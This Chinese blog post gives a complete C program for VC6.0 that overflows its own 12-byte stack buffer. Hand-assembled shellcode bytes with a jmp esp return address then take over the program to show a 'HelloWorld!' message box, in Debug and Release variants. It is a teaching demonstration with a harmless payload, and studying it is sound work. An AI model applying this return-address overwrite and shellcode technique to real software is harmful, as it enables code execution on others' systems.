最简单的一个堆栈溢出攻击实例 (1) [by Progsoft]

以下列出一个简单的利用自身堆栈溢出漏洞,攻击自己的程序。

编译使用环境Windows2000/WindowsXP/VC6.0以下代码直接编译就可以产生简单攻击效果。

正常无溢出程序,弹出OK对话框,当然需要你将aucName数组0xFE结束符添加并不使其溢出。

溢出Debug版程序,弹出DBG HelloWorld!对话框,选择Debug编译即可。

溢出Release程序,弹出HelloWorld!对话框,选择Release编译即可。

代码详解,下回分解,^_^。

#include  " windows.h "
#define  UINT8 unsigned char

/**/ /* 该函数构造一个简单的溢出函数 */
void  GetName(UINT8  * pucSrcName, UINT8  * pucDstName)
... {
    
while ((*pucSrcName) != 0xfe)
    
...{
        
*pucDstName++ = *pucSrcName++;
    }

    
*pucDstName = 0;
}


/**/ /* 在此函数中,调用后GetName弹出时,注入程序接管 */
void  ShowComputerName(UINT8  * pucName)
... {
    UINT8 pucComputerName[
12];
    GetName(pucName,pucComputerName);
}


/**/ /* 仅为了提供MessageBox和ExitProcess地址,及jmp esp指令 */
void  ShowMessageBox( void )
... {
    MessageBox(
0"OK""OK"0);
    ExitProcess(
0);
    __asm jmp esp;
}


/**/ /* 模拟的异常串注入代码 */
UINT8 aucName[
1024 ] =
... {
#ifdef _DEBUG
'D','B','G',' ',
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/**//* Debug版 jmp esp地址 */
0x36,0x11,0x40,0x00,
/**//*
push   0
push   421A30h  Debug版本数组aucName的起始地址
push   421A30h  Debug版本数组aucName的起始地址
push   0
call   MessageBox
*/

0x6A,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x6A,0x00,
0xFF,0x15,0x8C,0x52,0x42,0x00,
/**//*
push 0
call ExitProcess
*/

0x6A,0x00,
0xFF,0x15,0xDC,0x51,0x42,0x00,
/**//* 结束符号 */
0xFE
#else
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/**//* Release版 jmp esp地址 */
0x72,0x10,0x40,0x00,  
/**//*
push   0
push   405030h  Release版本数组aucName的起始地址
push   405030h  Release版本数组aucName的起始地址
push   0
call   MessageBox
*/

0x6A,0x00,
0x68,0x30,0x50,0x40,0x00,
0x68,0x30,0x50,0x40,0x00,
0x6A,0x00,
0xFF,0x15,0x90,0x40,0x40,0x00,
/**//*
push 0
call ExitProcess
*/

0x6A,0x00,
0xFF,0x15,0x48,0x40,0x40,0x00,
/**//* 结束符号 */
0xFE 
#endif
}
;

int  main( int  argc, UINT8  * argv[])
... {
    ShowComputerName(aucName);
    ShowMessageBox();
    
return 0;
}


  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值